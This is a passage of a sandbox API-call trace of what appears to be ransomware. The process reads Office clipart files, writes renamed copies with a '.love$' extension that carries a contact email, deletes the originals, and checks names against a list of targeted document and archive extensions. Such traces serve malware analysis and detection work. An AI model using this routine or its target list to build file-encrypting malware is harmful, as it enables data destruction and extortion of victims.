lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.514] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.514] SetEndOfFile (hFile=0x488) returned 1 [0234.514] CloseHandle (hObject=0x488) returned 1 [0234.514] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.514] SetEndOfFile (hFile=0x3bc) returned 1 [0234.518] CloseHandle (hObject=0x3bc) returned 1 [0234.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0234.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.520] lstrlenW (lpString=".doc") returned 4 [0234.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.520] lstrlenW (lpString=".docx") returned 5 [0234.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.520] lstrlenW (lpString=".pdf") returned 4 [0234.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.520] lstrlenW (lpString=".xls") returned 4 [0234.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.520] lstrlenW (lpString=".xlsx") returned 5 [0234.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.520] lstrlenW (lpString=".ppt") returned 4 [0234.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.520] lstrlenW (lpString=".zip") returned 4 [0234.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.520] lstrlenW (lpString=".rar") returned 4 [0234.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString=".bz2") returned 4 [0234.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString=".7z") returned 3 [0234.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString=".dbf") returned 4 [0234.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString=".1cd") returned 4 [0234.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString=".jpg") returned 4 [0234.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString=".doc") returned 4 [0234.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString=".docx") returned 5 [0234.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.521] lstrlenW (lpString=".pdf") returned 4 [0234.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString=".xls") returned 4 [0234.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.521] lstrlenW (lpString=".xlsx") returned 5 [0234.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.521] lstrlenW (lpString=".ppt") returned 4 [0234.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.521] lstrlenW (lpString=".zip") returned 4 [0234.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.521] lstrlenW (lpString=".rar") returned 4 [0234.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.522] lstrlenW (lpString=".bz2") returned 4 [0234.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.522] lstrlenW (lpString=".7z") returned 3 [0234.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.522] lstrlenW (lpString=".dbf") returned 4 [0234.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.522] lstrlenW (lpString=".1cd") returned 4 [0234.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0234.522] lstrlenW (lpString=".jpg") returned 4 [0234.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.522] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.522] lstrlenW (lpString="BL00269_.WMF") returned 12 [0234.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.523] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5272) returned 1 [0234.523] CloseHandle (hObject=0x3bc) returned 1 [0234.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0234.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.524] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.524] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.525] GetLastError () returned 0x0 [0234.525] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1498, lpOverlapped=0x0) returned 1 [0234.527] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0234.529] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.529] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.529] SetEndOfFile (hFile=0x488) returned 1 [0234.529] CloseHandle (hObject=0x488) returned 1 [0234.529] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.529] SetEndOfFile (hFile=0x3bc) returned 1 [0234.532] CloseHandle (hObject=0x3bc) returned 1 [0234.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString=".doc") returned 4 [0234.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString=".docx") returned 5 [0234.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.536] lstrlenW (lpString=".pdf") returned 4 [0234.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString=".xls") returned 4 [0234.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.536] lstrlenW (lpString=".xlsx") returned 5 [0234.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.536] lstrlenW (lpString=".ppt") returned 4 [0234.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString=".zip") returned 4 [0234.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.536] lstrlenW (lpString=".rar") returned 4 [0234.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString=".bz2") returned 4 [0234.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString=".7z") returned 3 [0234.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString=".dbf") returned 4 [0234.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString=".1cd") returned 4 [0234.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.536] lstrlenW (lpString=".jpg") returned 4 [0234.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString=".doc") returned 4 [0234.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString=".docx") returned 5 [0234.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.537] lstrlenW (lpString=".pdf") returned 4 [0234.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString=".xls") returned 4 [0234.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.537] lstrlenW (lpString=".xlsx") returned 5 [0234.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.537] lstrlenW (lpString=".ppt") returned 4 [0234.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString=".zip") returned 4 [0234.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.537] lstrlenW (lpString=".rar") returned 4 [0234.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString=".bz2") returned 4 [0234.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString=".7z") returned 3 [0234.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString=".dbf") returned 4 [0234.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString=".1cd") returned 4 [0234.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0234.537] lstrlenW (lpString=".jpg") returned 4 [0234.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.538] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.538] lstrlenW (lpString="BL00270_.WMF") returned 12 [0234.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.538] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3016) returned 1 [0234.539] CloseHandle (hObject=0x3bc) returned 1 [0234.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0234.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.539] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.539] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.540] GetLastError () returned 0x0 [0234.540] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0234.954] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0234.956] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.956] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.956] SetEndOfFile (hFile=0x488) returned 1 [0234.956] CloseHandle (hObject=0x488) returned 1 [0234.956] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.956] SetEndOfFile (hFile=0x3bc) returned 1 [0234.960] CloseHandle (hObject=0x3bc) returned 1 [0234.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0234.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.962] lstrlenW (lpString=".doc") returned 4 [0234.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.962] lstrlenW (lpString=".docx") returned 5 [0234.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.962] lstrlenW (lpString=".pdf") returned 4 [0234.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString=".xls") returned 4 [0234.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.963] lstrlenW (lpString=".xlsx") returned 5 [0234.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.963] lstrlenW (lpString=".ppt") returned 4 [0234.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.963] lstrlenW (lpString=".zip") returned 4 [0234.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.963] lstrlenW (lpString=".rar") returned 4 [0234.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString=".bz2") returned 4 [0234.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString=".7z") returned 3 [0234.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.963] lstrlenW (lpString=".dbf") returned 4 [0234.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.963] lstrlenW (lpString=".1cd") returned 4 [0234.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.963] lstrlenW (lpString=".jpg") returned 4 [0234.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.964] lstrlenW (lpString=".doc") returned 4 [0234.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString=".docx") returned 5 [0234.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.964] lstrlenW (lpString=".pdf") returned 4 [0234.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString=".xls") returned 4 [0234.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.964] lstrlenW (lpString=".xlsx") returned 5 [0234.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.964] lstrlenW (lpString=".ppt") returned 4 [0234.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.964] lstrlenW (lpString=".zip") returned 4 [0234.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.964] lstrlenW (lpString=".rar") returned 4 [0234.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString=".bz2") returned 4 [0234.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString=".7z") returned 3 [0234.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.964] lstrlenW (lpString=".dbf") returned 4 [0234.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.964] lstrlenW (lpString=".1cd") returned 4 [0234.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0234.965] lstrlenW (lpString=".jpg") returned 4 [0234.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.965] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.965] lstrlenW (lpString="BL00525_.WMF") returned 12 [0234.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.966] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9590) returned 1 [0234.966] CloseHandle (hObject=0x3bc) returned 1 [0234.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0234.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.967] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.967] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.968] GetLastError () returned 0x0 [0234.968] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2576, lpOverlapped=0x0) returned 1 [0234.969] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2580, lpOverlapped=0x0) returned 1 [0234.971] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.971] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, 